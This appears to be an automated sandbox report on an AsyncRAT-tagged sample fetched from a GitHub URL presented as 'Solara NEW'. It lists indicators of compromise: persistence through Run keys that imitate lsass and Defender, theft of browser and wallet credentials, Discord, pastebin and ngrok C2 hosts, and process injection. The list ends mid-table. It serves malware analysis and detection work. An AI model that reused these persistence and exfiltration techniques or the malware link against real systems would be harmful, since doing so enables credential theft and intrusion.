asyncrat | hxxps://raw[.]githubusercontent[.]com/ByterCode/Solara-Excutor/refs/heads/main/Solara%20NEW[.]zip

System Information Discovery

persistence privilege_escalation

Processes:

MpCmdRun.exeWScript.exeGoogleUpdater.exeWinSFX.exeWinDefender.exeMpDefenderCoreService.exeRunShell.exeWScript.exeWScript.exeMpWinSDK.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	MpCmdRun.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	GoogleUpdater.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WinSFX.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WinDefender.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	MpDefenderCoreService.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	RunShell.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	MpWinSDK.exe

Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
collection

Clipboard Data
T1115

Processes:

cmd.exepowershell.exe

pid process

4396 cmd.exe
6668 powershell.exe

pid	process
4396	cmd.exe
6668	powershell.exe

Drops startup file 2 IoCs

Processes:

javaw.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinSFX.exe	javaw.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinSFX.exe	javaw.exe

Executes dropped EXE 17 IoCs

Processes:

WinSFX.exeMpWinHelper32.exeWinDefender.exeMpDefenderRuntime.exeMpWinDefenderService.exeMpWinDefenderService.exeMpDefenderCoreService.exeMpCmdRun.exeMpWinSDK.execontainerRuntime.exeRunShell.exeMsHyperPort.exesvchost.exerar.exeGoogleUpdater.exesihost64.exeRunShell.exe

pid	process
6068	WinSFX.exe
5276	MpWinHelper32.exe
5552	WinDefender.exe
5304	MpDefenderRuntime.exe
5748	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5312	MpDefenderCoreService.exe
5912	MpCmdRun.exe
5932	MpWinSDK.exe
6884	containerRuntime.exe
5688	RunShell.exe
6508	MsHyperPort.exe
7068	svchost.exe
4192	rar.exe
7108	GoogleUpdater.exe
6872	sihost64.exe
6496	RunShell.exe

Loads dropped DLL 17 IoCs

Processes:

javaw.exeMpWinDefenderService.exe

pid	process
5472	javaw.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5804	MpWinDefenderService.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

RunShell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\agentComponentFontNet\\System.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msedge = "\"C:\\Recovery\\WindowsRE\\msedge.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TrustedInstaller = "\"C:\\agentComponentFontNet\\TrustedInstaller.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunShell = "\"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files\\Windows Portable Devices\\RuntimeBroker.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\agentComponentFontNet\\System.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msedge = "\"C:\\Recovery\\WindowsRE\\msedge.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\lsass.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\lsass.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TrustedInstaller = "\"C:\\agentComponentFontNet\\TrustedInstaller.exe\""	RunShell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunShell = "\"C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Defender\\RunShell.exe\""	RunShell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files\\Windows Portable Devices\\RuntimeBroker.exe\""	RunShell.exe

Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

javaw.exe

description ioc process

File opened (read-only) \??\F: javaw.exe

description	ioc	process
File opened (read-only)	\??\F:	javaw.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 12 IoCs

Web Service

T1102

Processes:

flow	ioc
51	discord.com
52	discord.com
59	raw.githubusercontent.com
81	pastebin.com
473	2.tcp.eu.ngrok.io
3	raw.githubusercontent.com
7	raw.githubusercontent.com
49	discord.com
61	raw.githubusercontent.com
80	pastebin.com
430	2.tcp.eu.ngrok.io
516	2.tcp.eu.ngrok.io

Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

45 api.ipify.org
46 api.ipify.org
47 ip-api.com
88 ip-api.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

flow	ioc
45	api.ipify.org
46	api.ipify.org
47	ip-api.com
88	ip-api.com

Drops file in System32 directory 6 IoCs

Processes:

GoogleUpdater.execsc.exeMpWinHelper32.exe

description	ioc	process
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	GoogleUpdater.exe
File created	\??\c:\Windows\System32\CSCB59BB1DD46334AD8911ABF5DB637A37.TMP	csc.exe
File created	\??\c:\Windows\System32\enb1sa.exe	csc.exe
File created	C:\Windows\system32\GoogleUpdater.exe	MpWinHelper32.exe
File opened for modification	C:\Windows\system32\GoogleUpdater.exe	MpWinHelper32.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	GoogleUpdater.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid process

5096 tasklist.exe
5704 tasklist.exe
6676 tasklist.exe
6412 tasklist.exe
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
defense_evasion

Hidden Files and Directories
T1564.001

Processes:

cmd.exe

pid process

2244 cmd.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

GoogleUpdater.exe

description pid process target process

PID 7108 set thread context of 6624 7108 GoogleUpdater.exe explorer.exe

pid	process
5096	tasklist.exe
5704	tasklist.exe
6676	tasklist.exe
6412	tasklist.exe

pid	process
2244	cmd.exe

description	pid	process	target process
PID 7108 set thread context of 6624	7108	GoogleUpdater.exe	explorer.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI57482\python313.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\_ctypes.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\libffi-8.dll	upx
behavioral1/memory/5804-417-0x00007FFD470F0000-0x00007FFD470FF000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\_ssl.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\_sqlite3.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\_socket.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\_queue.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\_lzma.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\_hashlib.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\_decimal.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\_bz2.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\unicodedata.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\sqlite3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\select.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\libssl-3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI57482\libcrypto-3.dll	upx
behavioral1/memory/5804-398-0x00007FFD31BB0000-0x00007FFD31BD7000-memory.dmp	upx
behavioral1/memory/5804-383-0x00007FFD31030000-0x00007FFD31693000-memory.dmp	upx
behavioral1/memory/5804-458-0x00007FFD30E60000-0x00007FFD30E8B000-memory.dmp	upx
behavioral1/memory/5804-467-0x00007FFD31B50000-0x00007FFD31B69000-memory.dmp	upx
behavioral1/memory/5804-469-0x00007FFD32D80000-0x00007FFD32DA5000-memory.dmp	upx
behavioral1/memory/5804-470-0x00007FFD32C00000-0x00007FFD32D7F000-memory.dmp	upx
behavioral1/memory/5804-471-0x00007FFD32BE0000-0x00007FFD32BF9000-memory.dmp	upx
behavioral1/memory/5804-475-0x00007FFD42C50000-0x00007FFD42C5D000-memory.dmp	upx
behavioral1/memory/5804-479-0x00007FFD2F5C0000-0x00007FFD2F5F4000-memory.dmp	upx
behavioral1/memory/5804-482-0x00007FFD31BB0000-0x00007FFD31BD7000-memory.dmp	upx
behavioral1/memory/5804-481-0x00007FFD290B0000-0x00007FFD2917E000-memory.dmp	upx
behavioral1/memory/5804-480-0x00007FFD27AE0000-0x00007FFD28013000-memory.dmp	upx
behavioral1/memory/5804-478-0x00007FFD31030000-0x00007FFD31693000-memory.dmp	upx
behavioral1/memory/5804-500-0x00007FFD32E00000-0x00007FFD32EB3000-memory.dmp	upx
behavioral1/memory/5804-499-0x00007FFD30E60000-0x00007FFD30E8B000-memory.dmp	upx
behavioral1/memory/5804-497-0x00007FFD482C0000-0x00007FFD482D4000-memory.dmp	upx
behavioral1/memory/5804-498-0x00007FFD485B0000-0x00007FFD485BD000-memory.dmp	upx
behavioral1/memory/5804-585-0x00007FFD32D80000-0x00007FFD32DA5000-memory.dmp	upx
behavioral1/memory/5804-650-0x00007FFD32C00000-0x00007FFD32D7F000-memory.dmp	upx
behavioral1/memory/5804-775-0x00007FFD2F5C0000-0x00007FFD2F5F4000-memory.dmp	upx
behavioral1/memory/5804-777-0x00007FFD290B0000-0x00007FFD2917E000-memory.dmp	upx
behavioral1/memory/5804-776-0x00007FFD27AE0000-0x00007FFD28013000-memory.dmp	upx
behavioral1/memory/5804-818-0x00007FFD32C00000-0x00007FFD32D7F000-memory.dmp	upx
behavioral1/memory/5804-826-0x00007FFD32E00000-0x00007FFD32EB3000-memory.dmp	upx
behavioral1/memory/5804-812-0x00007FFD31030000-0x00007FFD31693000-memory.dmp	upx
behavioral1/memory/5804-1227-0x00007FFD2F5C0000-0x00007FFD2F5F4000-memory.dmp	upx
behavioral1/memory/5804-1232-0x00007FFD32D80000-0x00007FFD32DA5000-memory.dmp	upx
behavioral1/memory/5804-1231-0x00007FFD485B0000-0x00007FFD485BD000-memory.dmp	upx
behavioral1/memory/5804-1230-0x00007FFD482C0000-0x00007FFD482D4000-memory.dmp	upx
behavioral1/memory/5804-1229-0x00007FFD290B0000-0x00007FFD2917E000-memory.dmp	upx
behavioral1/memory/5804-1228-0x00007FFD27AE0000-0x00007FFD28013000-memory.dmp	upx
behavioral1/memory/5804-1226-0x00007FFD42C50000-0x00007FFD42C5D000-memory.dmp	upx
behavioral1/memory/5804-1225-0x00007FFD32BE0000-0x00007FFD32BF9000-memory.dmp	upx
behavioral1/memory/5804-1224-0x00007FFD32C00000-0x00007FFD32D7F000-memory.dmp	upx
behavioral1/memory/5804-1223-0x00007FFD32E00000-0x00007FFD32EB3000-memory.dmp	upx
behavioral1/memory/5804-1222-0x00007FFD31B50000-0x00007FFD31B69000-memory.dmp	upx
behavioral1/memory/5804-1221-0x00007FFD30E60000-0x00007FFD30E8B000-memory.dmp	upx
behavioral1/memory/5804-1220-0x00007FFD470F0000-0x00007FFD470FF000-memory.dmp	upx
behavioral1/memory/5804-1219-0x00007FFD31BB0000-0x00007FFD31BD7000-memory.dmp	upx
behavioral1/memory/5804-1218-0x00007FFD31030000-0x00007FFD31693000-memory.dmp	upx

Drops file in Program Files directory 4 IoCs

Processes:

RunShell.exe

description	ioc	process
File created	C:\Program Files\Windows Security\BrowserCore\en-US\lsass.exe	RunShell.exe
File created	C:\Program Files\Windows Security\BrowserCore\en-US\6203df4a6bafc7	RunShell.exe
File created	C:\Program Files\Windows Portable Devices\RuntimeBroker.exe	RunShell.exe
File created	C:\Program Files\Windows Portable Devices\9e8d7a4ca61bd9	RunShell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

WinSFX.exeWScript.exeWinDefender.exeMpCmdRun.exeWScript.exeSolara NEW.exeMpDefenderCoreService.exeWScript.execmd.execmd.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinSFX.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinDefender.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MpCmdRun.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Solara NEW.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MpDefenderCoreService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

6064 cmd.exe
2260 PING.EXE
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

cmd.exenetsh.exe

pid process

4612 cmd.exe
6904 netsh.exe

pid	process
6064	cmd.exe
2260	PING.EXE

pid	process
4612	cmd.exe
6904	netsh.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

firefox.exefirefox.exefirefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1300 timeout.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

2208 WMIC.exe

pid	process
1300	timeout.exe

pid	process
2208	WMIC.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

Processes:

chrome.exemsedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

6996 systeminfo.exe

pid	process
6996	systeminfo.exe

Kills process with taskkill 18 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
6832	taskkill.exe
2224	taskkill.exe
400	taskkill.exe
6264	taskkill.exe
3412	taskkill.exe
5912	taskkill.exe
6012	taskkill.exe
5988	taskkill.exe
6492	taskkill.exe
6412	taskkill.exe
5420	taskkill.exe
6904	taskkill.exe
5140	taskkill.exe
6956	taskkill.exe
4964	taskkill.exe
1712	taskkill.exe
6748	taskkill.exe
7120	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133742470251356163"	chrome.exe

Modifies registry class 6 IoCs

Processes:

msedge.exeWinSFX.exeMpDefenderCoreService.exeMpCmdRun.exeRunShell.exefirefox.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	WinSFX.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	MpDefenderCoreService.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	MpCmdRun.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	RunShell.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	firefox.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

5852 reg.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2260 PING.EXE

pid	process
5852	reg.exe

pid	process
2260	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 20 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

pid	process
7032	schtasks.exe
1844	schtasks.exe
6832	schtasks.exe
6776	schtasks.exe
1664	schtasks.exe
6352	schtasks.exe
1712	schtasks.exe
6972	schtasks.exe
6696	schtasks.exe
2244	schtasks.exe
7088	schtasks.exe
6348	schtasks.exe
6840	schtasks.exe
5680	schtasks.exe
2104	schtasks.exe
400	schtasks.exe
4428	schtasks.exe
6740	schtasks.exe
7044	schtasks.exe
6540	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exejavaw.exepowershell.exepowershell.exeMpWinHelper32.exeMpDefenderRuntime.exepowershell.exepowershell.exeMpWinSDK.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1848	msedge.exe
1848	msedge.exe
5112	msedge.exe
5112	msedge.exe
388	identity_helper.exe
388	identity_helper.exe
1300	msedge.exe
1300	msedge.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5472	javaw.exe
5308	powershell.exe
5308	powershell.exe
5308	powershell.exe
5264	powershell.exe
5264	powershell.exe
5264	powershell.exe
5276	MpWinHelper32.exe
5276	MpWinHelper32.exe
5304	MpDefenderRuntime.exe
5304	MpDefenderRuntime.exe
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe
5944	powershell.exe
5944	powershell.exe
5944	powershell.exe
5932	MpWinSDK.exe
5932	MpWinSDK.exe
4712	powershell.exe
4712	powershell.exe
4136	powershell.exe
4136	powershell.exe
1896	powershell.exe
1896	powershell.exe
4712	powershell.exe
4712	powershell.exe
4136	powershell.exe
6668	powershell.exe
6668	powershell.exe
6892	powershell.exe
6892	powershell.exe
1896	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

RunShell.exe

pid process

6496 RunShell.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656

pid	process
6496	RunShell.exe

pid	process
656

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 21 IoCs

Processes:

msedge.exechrome.exe

pid	process
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

javaw.exewmic.exepowershell.exepowershell.exeMpWinHelper32.exepowershell.exepowershell.exeMpWinSDK.exepowershell.exepowershell.exetasklist.exepowershell.exetasklist.exeWMIC.exe

description	pid	process
Token: SeBackupPrivilege	5472	javaw.exe
Token: SeBackupPrivilege	5472	javaw.exe
Token: SeSecurityPrivilege	5472	javaw.exe
Token: SeDebugPrivilege	5472	javaw.exe
Token: SeIncreaseQuotaPrivilege	5892	wmic.exe
Token: SeSecurityPrivilege	5892	wmic.exe
Token: SeTakeOwnershipPrivilege	5892	wmic.exe
Token: SeLoadDriverPrivilege	5892	wmic.exe
Token: SeSystemProfilePrivilege	5892	wmic.exe
Token: SeSystemtimePrivilege	5892	wmic.exe
Token: SeProfSingleProcessPrivilege	5892	wmic.exe
Token: SeIncBasePriorityPrivilege	5892	wmic.exe
Token: SeCreatePagefilePrivilege	5892	wmic.exe
Token: SeBackupPrivilege	5892	wmic.exe
Token: SeRestorePrivilege	5892	wmic.exe
Token: SeShutdownPrivilege	5892	wmic.exe
Token: SeDebugPrivilege	5892	wmic.exe
Token: SeSystemEnvironmentPrivilege	5892	wmic.exe
Token: SeRemoteShutdownPrivilege	5892	wmic.exe
Token: SeUndockPrivilege	5892	wmic.exe
Token: SeManageVolumePrivilege	5892	wmic.exe
Token: 33	5892	wmic.exe
Token: 34	5892	wmic.exe
Token: 35	5892	wmic.exe
Token: 36	5892	wmic.exe
Token: SeIncreaseQuotaPrivilege	5892	wmic.exe
Token: SeSecurityPrivilege	5892	wmic.exe
Token: SeTakeOwnershipPrivilege	5892	wmic.exe
Token: SeLoadDriverPrivilege	5892	wmic.exe
Token: SeSystemProfilePrivilege	5892	wmic.exe
Token: SeSystemtimePrivilege	5892	wmic.exe
Token: SeProfSingleProcessPrivilege	5892	wmic.exe
Token: SeIncBasePriorityPrivilege	5892	wmic.exe
Token: SeCreatePagefilePrivilege	5892	wmic.exe
Token: SeBackupPrivilege	5892	wmic.exe
Token: SeRestorePrivilege	5892	wmic.exe
Token: SeShutdownPrivilege	5892	wmic.exe
Token: SeDebugPrivilege	5892	wmic.exe
Token: SeSystemEnvironmentPrivilege	5892	wmic.exe
Token: SeRemoteShutdownPrivilege	5892	wmic.exe
Token: SeUndockPrivilege	5892	wmic.exe
Token: SeManageVolumePrivilege	5892	wmic.exe
Token: 33	5892	wmic.exe
Token: 34	5892	wmic.exe
Token: 35	5892	wmic.exe
Token: 36	5892	wmic.exe
Token: SeDebugPrivilege	5308	powershell.exe
Token: SeDebugPrivilege	5264	powershell.exe
Token: SeRestorePrivilege	5472	javaw.exe
Token: SeDebugPrivilege	5276	MpWinHelper32.exe
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeDebugPrivilege	5944	powershell.exe
Token: SeDebugPrivilege	5932	MpWinSDK.exe
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeDebugPrivilege	4136	powershell.exe
Token: SeDebugPrivilege	5704	tasklist.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	5096	tasklist.exe
Token: SeIncreaseQuotaPrivilege	6640	WMIC.exe
Token: SeSecurityPrivilege	6640	WMIC.exe
Token: SeTakeOwnershipPrivilege	6640	WMIC.exe
Token: SeLoadDriverPrivilege	6640	WMIC.exe
Token: SeSystemProfilePrivilege	6640	WMIC.exe
Token: SeSystemtimePrivilege	6640	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

msedge.exe

pid	process
